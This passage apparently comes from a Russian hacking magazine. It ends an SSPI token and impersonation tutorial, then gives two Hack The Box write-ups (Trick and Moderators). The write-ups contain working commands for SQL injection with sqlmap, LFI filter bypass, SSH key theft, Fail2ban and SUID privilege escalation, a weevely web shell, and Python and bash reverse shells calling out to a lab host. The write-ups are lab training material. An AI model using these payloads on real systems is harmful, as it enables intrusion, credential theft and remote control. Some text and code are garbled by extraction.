                 secBufferDescriptorIn.cBuffers = 1;
                 secBufferDescriptorIn.pBuffers = secBufferIn;
                 secBufferDescriptorIn.ulVersion =

SECBUFFER_VERSION;
           }
           // Устанавливаем выходной буфер (SSPI выделит память 

для него)
             secBufferOut[0].BufferType = SECBUFFER_TOKEN;

             secBufferOut[0].cbBuffer = 0;
             secBufferOut[0].pvBuffer = NULL;

           // Выходной BufDesc указывает на выходной буфер
             secBufDescriptorOut.cBuffers = 1;
             secBufDescriptorOut.pBuffers = secBufferOut;
             secBufDescriptorOut.ulVersion = SECBUFFER_VERSION;

   
        

  

           ss = InitializeSecurityContext(phCredentials,
fFirstPass ? NULL : phContext, pszServer, *plAttrbibutes |
ISC_REQ_ALLOCATE_MEMORY, 0, SECURITY_NETWORK_DREP,

   
  

               &secBufferDescriptorIn, 0, phContext, &
secBufDescriptorOut, plAttrbibutes, NULL);

           // Первый проход больше не делаем
             fFirstPass = FALSE;

           // Если блоб был выходным, то посылаем его
               if (secBufferOut[0].cbBuffer != 0) {

               // Связь с сервером, посылаем размер блоба
                SendData(&secBufferOut[0].cbBuffer, sizeof(ULONG))

;
               // Посылаем сам блоб

                SendData(&secBufferOut[0].pvBuffer, secBufferOut[0
].cbBuffer);

               // Освобождаем выходной буфер
               FreeContextBuffer(secBufferOut[0].pvBuffer);
           }

        } // Работа в цикле, пока ss не станет равно 
SEC_I_CONTINUE_NEEDED

            if (ss != SEC_E_OK) { // Окончательный результат
           __leave;
       }

         fSuccess = TRUE;
   }
     __finally { // При сбое освобождаем хендл контекста

         if (!fSuccess) {
            ZeroMemory(phContext, sizeof(*phContext));

       }
   }
    return (fSuccess);

}

// Соответственно, вызов выглядит вот так
    if (!ClientHandshakeAuth(&hCredentials, &lAttributes, &hContext,

L"jcomp123"))){
   // Ошибка

}
 else {

   // Мы аутентифицированы
}

DeleteSecurityContext(&hContext);
FreeCredentialsHandle(&hCredentials);

Спе шу заметить, что мы исполь зуем здесь фун кции  и .

Это может быть любая фун кция для вза имо дей ствия, хоть сокеты WSA с их
, , хоть , . SSP незави сим от спо -

соба переда чи дан ных, кон текст мож но выс тро ить хоть на голубях :)

SendData() RecvData()

WsaRecv() WSASend() ReadFile() WriteFile()

Ðîëü ñåðâåðà

Пос ле того как на кли енте будет запуще на фун кция
, она не будет воз вра щать управле ние до тех

пор, пока сер вер не запус тит свою фун кцию :

InitializeSecurityContext()
AcceptSecurityContext()

   KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY AcceptSecurityContext(
      [in, optional]      PCredHandle phCredential,
      [in, optional]      PCtxtHandle phContext,
   [in, optional]      PSecBufferDesc pInput,
    [in]                unsigned long fContextReq,
    [in]                unsigned long TargetDataRep,
        [in, out, optional] PCtxtHandle phNewContext,
     [in, out, optional] PSecBufferDesc pOutput,
    [out]               unsigned long *pfContextAttr,
            [out, optional] PTimeStamp ptsExpiry

);

Здесь исполь зуют ся все те же парамет ры, что и в
, кро ме двух зарезер вирован ных и име ни сер -

вера. Понят но, что в рас смат рива емом слу чае пос леднее не нуж но, так как эта
фун кция запус кает ся на самом сер вере. Роль такая же — фун кция дол жна
запус кать ся в цик ле до тех пор, пока не вер нет . У нее есть два отли -
чия:

InitializeSecurityContext()

SEC_E_OK

при пер вом обра щении к этой фун кции у нас уже есть пер вый блоб,
получен ный от кли ента, поэто му мы всег да име ем дело с вход ным
буфером (в отли чие от , где при пер вом
вызове ничего с вход ным буфером не дела ется);

•

InitializeSecurityContext()

в дан ной фун кции дей ству ют все те же тре бова ния к кон тек сту, что и у
, они ука заны в .

•
InitializeSecurityContext() до кумен тации Microsoft

Вро де бы все оди нако вое, но получен ный от этой фун кции кон текст обла дает
бОль шими воз можнос тями, чем резуль тат, получен ный
от . Этот кон текст мы смо жем исполь зовать

для имперсо нации кли ента.

InitializeSecurityContext()

При мер пос тро ения кон тек ста на сер вере так же дос таточ но прост:

    
   

BOOL ServerHandshakeAuth(CredHandle* phCredentials, PULONG
plAttrbibutes, CtxtHandle* phContext) {
      BOOL fSuccess = FALSE;
    __try {

        SECURITY_STATUS ss;
       // Объявляем входной и выходной буфер

        SecBuffer secBufferOut[1];
        SecBufferDesc secBufDescriptorOut;

        SecBuffer secBufferIn[1];
        SecBufferDesc secBufferDescriptorIn;

       // Устанавливаем информацию о состоянии цикла
          BOOL fFirstPass = TRUE;

         ss = SEC_I_CONTINUE_NEEDED;

           while (ss == SEC_I_CONTINUE_NEEDED) {
           // Связь с клиентом
           // Получаем размер блоба

              ULONG lSize = 0;
              ULONG lTempSize = sizeof(lSize);

            ReceiveData(&lSize, &lTempSize);
           // Получаем блоб

              PBYTE pbTokenBuf = (PBYTE)malloc(lSize);
            ReceiveData(pbTokenBuf, &lSize);

           // Входной буфер указывает на блоб
             secBufferIn[0].BufferType = SECBUFFER_TOKEN;

             secBufferIn[0].cbBuffer = lSize;
             secBufferIn[0].pvBuffer = pbTokenBuf;

           // Входной BufDesc указывает на входной буфер
             secBufferDescriptorIn.cBuffers = 1;
             secBufferDescriptorIn.pBuffers = secBufferIn;
             secBufferDescriptorIn.ulVersion = SECBUFFER_VERSION;

           // Устанавливаем выходной буфер (SSPI выделит память 
для него)

             secBufferOut[0].BufferType = SECBUFFER_TOKEN;
             secBufferOut[0].cbBuffer = 0;
             secBufferOut[0].pvBuffer = NULL;

           // Выходной BufDesc указывает на выходной буфер
             secBufDescriptorOut.cBuffers = 1;
             secBufDescriptorOut.pBuffers = secBufferOut;
             secBufDescriptorOut.ulVersion = SECBUFFER_VERSION;

           // Функция управления блобом
     

      
  

           ss = AcceptSecurityContext(phCredentials, fFirstPass ?
NULL : phContext, &secBufferDescriptorIn, *plAttrbibutes |
ASC_REQ_ALLOCATE_MEMORY, SECURITY_NETWORK_DREP, phContext,

                 &secBufDescriptorOut, plAttrbibutes, NULL);

           // Первый проход больше не нужен
             fFirstPass = FALSE;

           // Если блоб выходной, то посылаем его
               if (secBufferOut[0].cbBuffer != 0) {

               // Связь с клиентом
               // Посылаем размер блоба

                SendData(&secBufferOut[0].cbBuffer, sizeof(ULONG))
;
               // Посылаем сам блоб

                SendData(secBufferOut[0].pvBuffer, secBufferOut[0]
.cbBuffer);

               // Освобождение выходного буфера
               FreeContextBuffer(secBufferOut[0].pvBuffer);

            } // Сидим в цикле, если ss == SEC_I_CONTINUE_NEEDED

                if (ss != SEC_E_OK) { // Окончательный результат
               __leave;
           }

             fSuccess = TRUE;
       }
   }
    __finally {
       // Если сбой, то освобождаем хендл полного контекста

         if (!fSuccess) {
            ZeroMemory(phContext, sizeof(*phContext));

       }
   }
    return (fSuccess);

}

// Соответственно, вызов выполняется вот так
  if(!ServerHandshakeAuth(&hCredentials, &lAttributes, &hContext)){

   // Ошибка
}

  ss = ImpersonateSecurityContext(&hContext);
   if (ss != SEC_E_OK){

   __leave;
}

DeleteSecurityContext(&hContext);
FreeCredentialsHandle(&hCredentials);

Èñïîëüçîâàíèå ïîëíîãî êîíòåêñòà

Пос ле того как у нас успешно отра бота ли фун кции 
и , мы получим на сер вере хендл пол ного кон -

тек ста. Его мож но исполь зовать сле дующим обра зом.

AcceptSecurityContext()
InitializeSecurityContext()

Èìïåðñîíàöèÿ

Фун кция  поз воля ет сер веру оли цет ворять кли -

ента с помощью хен дла кон тек ста, ранее получен ного вызовом
 или . Фун кция

 дает сер веру воз можность выс тупать от лица

кли ента при всех про вер ках прав дос тупа:

ImpersonateSecurityContext

AcceptSecurityContext() QuerySecurityContextToken()
ImpersonateSecurityContext()

   KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY
ImpersonateSecurityContext(
   [in] PCtxtHandle phContext

);

RevertSecurityContext()

Поз воля ет прек ратить оли цет ворение вызыва юще го объ екта и вос ста новить
собс твен ный кон текст безопас ности:

   KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY RevertSecurityContext(
   [in] PCtxtHandle phContext

);

Ïîëó÷åíèå òîêåíà èç êîíòåêñòà

С помощью этой фун кции мы можем дос тать токен поль зовате ля, кон текст
которо го получен из фун кции :AcceptSecurityContext()

   KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY QuerySecurityContextToken
(
    [in] PCtxtHandle phContext,
  [out] void        **Token

);

ÂÛÂÎÄÛ

То кены — это один из стол пов безопас ности в сис темах Windows. Сегод ня ты
получил пред став ление лишь об осно вах работы с ними. Если инте рес но пог -
рузить ся глуб же, то поп робуй изу чить огра ничен ные токены
( ) и их осо бен ности.CreateRestrictedToken()

https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-negotiate
https://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-acceptsecuritycontext
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ВЗЛОМ

В этом рай тапе я покажу, как получать
DNS-записи для рас ширения пло щади
ата ки, затем про экс плу ати руем SQL-инъ -
екцию, а ког да повысим при виле гии, зак -
репим ся на машине через Fail2ban.

Уп ражнять ся мы будем на тре ниро воч ной машине Trick с пло щад ки 
. По уров ню слож ности она оце нена как лег кая.

Hack
The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.166    trick.htb

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли четыре откры тых пор та:
22 — служ ба OpenSSH 7.9p1;•
25 — служ ба Postx SMTP;•
53 — служ ба BIND 9.11.5;•
80 — веб-сер вер Nginx 1.14.2.•

Òðàíñôåð DNS-çîíû

Так как на 53-м пор те активна служ ба DNS, нач нем с нее. Тран сфер зоны DNS
может сущес твен но уве личить повер хность ата ки, рас крыв новые записи DNS.
Выг рузить зону мож но одним зап росом AXFR:

dig trick.htb axfr @10.10.11.166

Тран сфер DNS-зоны

Рас кры ваем новые домен ные име на и сра зу добав ляем их в файл ./etc/hosts

10.10.11.166 trick.htb root.trick.htb preprod-payroll.trick.htb

Те перь перей дем к веб-сер веру. Так как у нас мно го адре сов, сто ит заг лянуть
по каж дому.

Глав ная стра ница сай та trick.htb

Глав ная стра ница сай та preprod-payroll.trick.htb

ÒÎ×ÊÀ ÂÕÎÄÀ

Есть фор ма логина, и никакой защиты от брут форса, поэто му поп робу ем раз -
ные сло вари с тех никами обхо да авто риза ции. Обыч но для перебо ра я исполь -
зую . Переби рать сто ит как поле логина, так и поле

пароля.

Burp Suite Professional

Burp Intruder — вклад ка Positions

Ре зуль таты перебо ра Burp Intruder

Не кото рые наг рузки, нацелен ные на экс плу ата цию SQL-инъ екции, дали
не такой же резуль тат, что основная мас са. В коде стра ницы видим ошиб ку
SQL. Нес мотря на то что выпол нить бай пас авто риза ции не выш ло, мож но про -
экс плу ати ровать саму SQL-инъ екцию.

За пус тим  без спе циаль ных парамет ров, что бы он опре делил

рабочую наг рузку. Ука зыва ем URL (параметр ), дан ные POST (параметр

) и говорим при нимать рекомен дуемый дефол тный вари ант отве та,
если у sqlmap будут воп росы (параметр ).

sqlmap

--url
--data

--batch

 
   

sqlmap --url "http://preprod-payroll.trick.htb/ajax.
php?action=login" --data "username=test&password=test" --batch

От чет sqlmap

Ра бочая наг рузка опре деле на, теперь перей дем к экс плу ата ции.

ÒÎ×ÊÀ ÎÏÎÐÛ

Для начала пос мотрим, какие есть базы дан ных (параметр ).--dbs

 
    

sqlmap --url "http://preprod-payroll.trick.htb/ajax.
php?action=login" --data "username=test&password=test" --batch
--dbs

Су щес тву ющие базы дан ных

Ба за  слу жеб ная и неин терес на нам, а вот в поль -
зователь скую базу  сто ит заг лянуть. Получим таб лицы ( )

из инте ресу ющей нас базы (параметр ).

information_schema
payroll_db --tables

-D

 
    

sqlmap --url "http://preprod-payroll.trick.htb/ajax.
php?action=login" --data "username=test&password=test" --batch -D 
payroll_db --tables

Таб лицы в базе payroll_db

Пер вым делом под при цел дол жна попасть таб лица с поль зовате лями, в дан -
ном слу чае . Задав параметр , получим из нее име на стол бцов

(параметр ), что бы не дам пить всю таб лицу.

users -T
--columns

 
    

  

sqlmap --url "http://preprod-payroll.trick.htb/ajax.
php?action=login" --data "username=test&password=test" --batch -D 
payroll_db -T users --columns

Стол бцы в таб лице users

Те перь при помощи парамет ра  получим из таб лицы толь ко имя поль -

зовате ля, логин и пароль (наз вания стол бцов переда ются в парамет ре ).

--dump
-C

 
    

  

sqlmap --url "http://preprod-payroll.trick.htb/ajax.
php?action=login" --data "username=test&password=test" --batch -D 
payroll_db -T users -C name,username,password --dump

Учет ные дан ные поль зовате ля из таб лицы

Най ден ные дан ные никуда прис тро ить не выш ло, поэто му поп робу ем читать
фай лы через эту же уяз вимость. К при меру, про чита ем файл ./etc/hosts

 
    

sqlmap --url "http://preprod-payroll.trick.htb/ajax.
php?action=login" --data "username=test&password=test" --batch
--file-read=/etc/hosts

Со дер жимое фай ла /etc/hosts

Так как мы можем читать фай лы, давай най дем на хос те что-нибудь инте рес -
ное и заберем!

ÏÐÎÄÂÈÆÅÍÈÅ

Поп робу ем поис кать новые под домены, прой дясь ска нером .ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе ния —
это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле -
дующие парамет ры:

ffuf

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — HTTP-заголо вок.• -H

Мес то перебо ра помеча ется сло вом FUZZ.

Так как в выводе ffuf мы уви дим абсо лют но все вари анты, нам нуж но их
отфиль тро вать по раз меру кон тента, в дан ном слу чае по количес тву строк.

ffuf   
   256  84

-u 'http://trick.htb/' -w subdomains-top1million-110000.txt 
-H "Host: FUZZ.trick.htb" -t --fl

К сожале нию, ничего най ти не уда лось. Одна ко у нас есть домен с прис тавкой
. Давай поп робу ем переб рать еще раз, но добавив эту прис тавку.preprod-

ffuf   
   256  84

-u 'http://trick.htb/' -w subdomains-top1million-110000.txt 
-H "Host: preprod-FUZZ.trick.htb" -t --fl

Ре зуль тат перебо ра под доменов

На ходим новый под домен, поэто му допол ним запись в фай ле 

и прос мотрим новый сайт.

/etc/hosts

10.10.11.166 trick.htb root.trick.htb preprod-payroll.trick.htb 
preprod-marketing.trick.htb

Глав ная стра ница сай та preprod-marketing.trick.htb

Сра зу отме чаем, что при перехо де с одной стра ницы на дру гую переда ется
параметр . Прав да, зап росить файл  таким обра зом

не получи лось.

page /etc/passwd

Зап рос фай ла /etc/passwd

Но мы можем про читать файл через SQL-инъ екцию и пос мотреть исполь -
зуемый здесь филь тр, что бы понять, как его обой ти. Про буем раз ные пути
к фай лу и под бира ем нуж ный:  и 

.
/var/www/marketing/index.php /var/www/

market/index.php

 
    

sqlmap --url "http://preprod-payroll.trick.htb/ajax.
php?action=login" --data "username=test&password=test" --batch
--file-read=/var/www/market/index.php

Лог sqlmap

Файл был про читан и сох ранен на локаль ный хост. Смот рим, что там.

Ис ходный код стра ницы index.php

В передан ном пути к фай лу уда ляют ся все подс тро ки . Обой ти такой филь -

тр очень лег ко. Если в пос ледова тель нос ти  уда лить подс тро ку , то

резуль татом будет стро ка . Таким спо собом мы можем про читать 
.

../
..././ ../

../ /etc/
passwd

Со дер жимое фай ла /etc/passwd

Так же чита ем при ват ный ключ SSH поль зовате ля, наз нача ем пра ва (

) и под клю чаем ся к уда лен ному хос ту.

chmod
0600 id_rsa

При ват ный SSH-ключ поль зовате ля

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Од на из пер вых вещей, которые сто ит про верять, ког да нуж но повысить при -
виле гии, — это нас трой ки sudoers.

Нас трой ки sudoers

Ви дим, что мы можем выпол нить коман ду 
от име ни поль зовате ля  без вво да пароля ( ).

/etc/init.d/fail2ban restart
root NOPASSWD

Fail2ban — прос той локаль ный сер вис, который отсле жива ет log-фай лы
запущен ных прог рамм и пос ле нес коль ких неудач ных попыток авто риза ции
бло киру ет зап росы с опре делен ного IP-адре са. Прос мотрим фай лы кон -
фигура ций служ бы .fail2ban

 ls -la /etc/fail2ban/

Фай лы кон фигура ции Fail2ban

Ка талог  дос тупен груп пе , а как показа ла коман да , мы

вхо дим в эту груп пу. Если мы соз дадим свое пра вило в фай ле 

, то смо жем добить ся выпол нения опре делен ного дей ствия

при сра баты вании триг гера . Этот файл уже сущес тву ет, а зна чит, мы
не можем его переза писать. Зато можем перемес тить и соз дать такой файл
заново со сле дующим содер жимым.

action.d security id
iptables-

multiport.conf
fail2ban

[INCLUDES]

before = iptables-common.conf

[Definition]

actionstart = <iptables> -N f2b-<name>
            <iptables> -A f2b-<name> -j <returntype>
            <iptables> -I <chain> -p <protocol> -m multiport 

--dports <port> -j f2b-<name>

actionstop = <iptables> -D <chain> -p <protocol> -m multiport 
--dports <port> -j f2b-<name>
           <actionflush>
           <iptables> -X f2b-<name>

   actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

 actionban = chmod u+s /bin/bash

actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>

[Init]

Ес ли про изой дет бан хос та, то выпол нится коман да ,

которая добавит S-атри бут коман дной обо лоч ке. Так как вла делец фай ла
 — root, мы смо жем получить шелл в при виле гиро ван ном кон тек сте.

chmod u+s /bin/bash

bash

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла -
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные сис -
темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Пос ле соз дания кон фига переза пус тим служ бу  под sudo.fail2ban

sudo /etc/init.d/fail2ban restart

Пе реза пуск Fail2ban

Те перь «наг рузим» служ бу SSH и про верим пра ва фай ла коман дной обо лоч ки 
.

/
bin/bash

 32hydra 10.10.11.166 ssh -l root -P rockyou.txt -t

Пра ва фай ла /bin/bash

Как мож но видеть, S-бит уста нов лен, поэто му повыша ем кон текст и забира ем
флаг.

/bin/bash -p

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/sqlmapproject/sqlmap
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
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ЛОМАЕМ ПРИЛОЖЕНИЕ НА WORDPRESS
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ВИРТУАЛЬНЫМ ЖЕСТКИМ ДИСКОМ
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ВЗЛОМ

В этом рай тапе я покажу, как добыть при -
виле гии на сер вере через пла гины
WordPress и взло мать шиф рован ный диск
VirtualBox. Но пер вым делом мы получим
веб-шелл в обход филь тров.

Про ходить мы будем тре ниро воч ную машину Moderators с пло щад ки 
. Уро вень — «слож ный».

Hack
The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.173    moderators.htb

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Наш ли все го два откры тых пор та: 22 — служ ба OpenSSH 8.2p1 и 80 —
веб-сер вер Apache 2.4.41. Естес твен но, начина ем с веб-сер вера.

Глав ная стра ница сай та moderators.htb

Поп робу ем поис кать скры тые фай лы и катало ги.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе ния —
это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле -
дующие парамет ры:

ffuf

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — выпол нять редирек ты.• -r

Мес то перебо ра помеча ется сло вом FUZZ.

За пус каем:

ffuf    
 256

-u 'http://moderators.htb/FUZZ' -r -w directory_2.3_medium_
lowercase.txt -t

Ре зуль тат ска ниро вания катало гов с помощью ffuf

На ходим каталог , но в дан ный момент он бес полезен. Так как осталь ные

стра ницы име ют рас ширение .php, сто ит поис кать и популяр ные PHP-фай лы.

logs

ffuf    
 256

-u 'http://moderators.htb/FUZZ.php' -r -w php_files_common.
txt -t

Ре зуль тат ска ниро вания фай лов PHP с помощью ffuf

Дос туп ко всем стра ницам, кро ме , мы можем получить из меню

сай та. При обра щении к  нас ждет редирект на глав ную стра ницу.

reports.php
reports.php

Burp History

ÒÎ×ÊÀ ÂÕÎÄÀ

Чи тая блог, находим отчет об уяз вимос ти XSS, который и при водит нас
на стра ницу  с парамет ром  без редирек та.reports.php report

Ин форма ция об уяз вимос ти XSS

Со дер жимое отче та

Так как отчет опре деля ется по номеру, я решил эти номера переб рать. Делать
это будем с помощью Burp Intruder.

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

Ре зуль тат перебо ра

В ито ге находим нес коль ко стра ниц. Один из отче тов откры вает нам новые
пути на сай те.

Со дер жимое отче та

Пе ребор содер жимого катало га  ничего не дал, тог да я решил проб рутить

имя катало га как хеш, вдруг получит ся най ти какую-нибудь кор реляцию.

logs

Ре зуль тат под бора про обра за

Так узна ем, что наз вание катало га — это резуль тат хеш-фун кции
MD5 от номера отче та. Сле дующее дей ствие — най ти все дос тупные катало ги
в . Переби рать будем с помощью того же Burp Intruder. Толь ко теперь
добавим к наг рузке обра бот чик, который будет извле кать из чис ла хеш.
logs

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

Ре зуль тат перебо ра

На ходим шесть катало гов, содер жимое которых, по идее, дол жно быть иден -
тичным. Тог да я решил переб рать фай лы раз ных фор матов, и логич нее все го
начать с PDF.

ffuf  
  

 256

-u 'http://moderators.htb/logs/
e21cece511f43a5cb18d4932429915ed/FUZZ.pdf' -r -w directory_2.3_
medium_lowercase.txt -t

Ре зуль тат перебо ра фай лов PDF

На ходим иско мое имя фай ла — . Вот толь ко сам файл никакой инте -
рес ной информа ции не дал.

logs.pdf

Со дер жимое фай ла logs.pdf

Но если получить такие фай лы со всех катало гов, то нат кнем ся на единс твен -
ный содер жащий полез ную информа цию.

Со дер жимое полез ного PDF

И этот отчет рас кры вает нам новые пути на сай те. В этот раз мы при ходим
к стра нице заг рузки отче тов:

http://moderators.htb/logs/report_log_upload.php

Фор ма заг рузки отче тов

ÒÎ×ÊÀ ÎÏÎÐÛ

Я поп робовал заг рузить прос той PHP-скрипт:

   <?php echo system('id'); ?>

Он дол жен выпол нить коман ду . Одна ко в ответ я получил сооб щение, что
мож но заг ружать толь ко PDF.

id

Ошиб ка при заг рузке фай ла

Тог да я решил нем ного поиг рать с фор матом PDF, как при спо собах заг рузки
шел ла в усло виях кон тро ля фор мата кар тинок. Оста вим слу жеб ные мар керы
PDF-фай ла, а в качес тве содер жимого помес тим исполь зован ную ранее наг -
рузку.

Заг рузка фай ла через Burp Repeater

По луча ем сооб щение, что файл успешно заг ружен. Но это воз можно, толь ко
если рас ширение фай ла — .pdf. Тог да я решил исполь зовать двой ное рас -
ширение фай ла , так как сер вис может неп равиль но его про верять..pdf.php

Заг рузка фай ла через Burp Repeater

Файл успешно заг ружен, но с его выпол нени ем воз ника ют проб лемы. Нем ного
повозив шись с наг рузкой PHP, я решил перей ти к про верен ному обфусци -
рован ному PHP-шел лу — . Генери руем наг рузку и заг ружа ем на сер -

вер.

weevely3

python3 weevely.py generate r r.pdf.php

Ге нери рова ние наг рузки

Заг рузка фай ла через Burp Repeater

Те перь исполь зуем кли ент  для выпол нения команд.weevely

 
r
python3 weevely.py 'http://moderators.htb/logs/uploads/r.pdf.php'

Тес тирова ние RCE

Ко ман да выпол нена, а зна чит, мы можем кинуть пол ноцен ный реверс-шелл
на лис тенер, который запус тим коман дой .pwncat_cs -lp 4321

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.22",4321));os.
dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
import pty; pty.spawn("sh")'

Сес сия поль зовате ля www-data

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://github.com/epinna/weevely3


HTB MODERATORS
ЛОМАЕМ ПРИЛОЖЕНИЕ НА WORDPRESS

И РАБОТАЕМ С ШИФРОВАННЫМ
ВИРТУАЛЬНЫМ ЖЕСТКИМ ДИСКОМ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ

Ïîëüçîâàòåëü lexi

Те перь, ког да мы получи ли дос туп к хос ту, нам нуж но соб рать информа цию.
Для это го я зачас тую при меняю скрип ты PEASS, пос тоян ные читате ли с ними
хорошо зна комы.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль зовате -
ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий может быть
очень мно го, как в Linux, так и в Windows. Что бы соб рать информа цию
и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис тему на авто мате.
Privilege Escalation Awesome Scripts

SUITE

Скрипт отоб ража ет дерево про цес сов поль зовате ля , где отме чен запуск

веб-сер вера. Эту же информа цию можем узнать из спис ка активных пор тов.

lexi

Спи сок про цес сов

Прос лушива емые пор ты

Что бы обра тить ся к сер вису на пор те 8080, нам нуж но этот порт про кинуть,
к при меру с помощью . На локаль ном хос те запус тим сер вер, ожи -

дающий под клю чения (параметр ) на порт 5432 (параметр ).

chisel

--reverse -p

 ./chisel.bin server --reverse -p 5432

Ло ги chisel server

Те перь на уда лен ном хос те запус тим кли ент скую часть. Ука зыва ем адрес сер -
вера и порт для под клю чения, а так же параметр тун неля: про кинуть
порт 8088 с локаль ного хос та на порт 8080 уда лен ного.

./chisel.bin client 10.10.14.22:5432 R:8088:localhost:8080

Ло ги chisel client

В логах сер вера мы дол жны уви деть сооб щение о соз дании сес сии.

Ло ги chisel server

За ходим на http://localhost:8088 и видим сайт на WordPress.

Вер сия CMS

Смыс ла ска ниро вать пла гины нет, так как мы име ем дос туп к исходным пап кам
и струк туре катало гов. Узнать, какие уста нов лены пла гины, мы можем, заг -
лянув в каталог ./wp-content/plugins

Струк тура катало га /wp-content/plugins

На ходим пла гин для интегра ции с Brandfolder и менед жер паролей.

WordPress — ïëàãèí Brandfolder

Из фай ла CHANGELOG мож но узнать текущую вер сию пла гина.

Вер сия пла гина Brandfolder

Так как мы зна ем вер сию про дук та, мож но поис кать экс пло иты с помощью
любого поис кового движ ка, к при меру Google.

По иск экс пло итов с помощью Google

Пер вая же  выводит нас к базе экс пло итов Exploit-DB. И там есть опи -
сание уяз вимос ти.

ссыл ка

Опи сание уяз вимос ти

Мы можем манипу лиро вать зна чени ем перемен ной , что поз волит

под клю чить про изволь ные фай лы  и .

А так как мы име ем дос туп к фай ловой сис теме, эта уяз вимость может дать
нам не прос то LFI/RFI, а RCE. Давай соз дадим каталог:

wp_abspath
wp-load.php wp-admin/includes/...

/var/www/html/logs/uploads/ralf

А в нем — под клю чаемый файл  со сле дующим содер жимым.wp-load.php

 
 

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.22/6543 0>&1'"
); ?>

Те перь, что бы получить бэк коннект на свой лис тенер, сде лаем зап рос
по такому адре су:

http://localhost:8080/wp-content/plugins/brandfolder/callback.php?
wp_abspath=/var/www/html/logs/uploads/ralf/

Сес сия поль зовате ля lexi

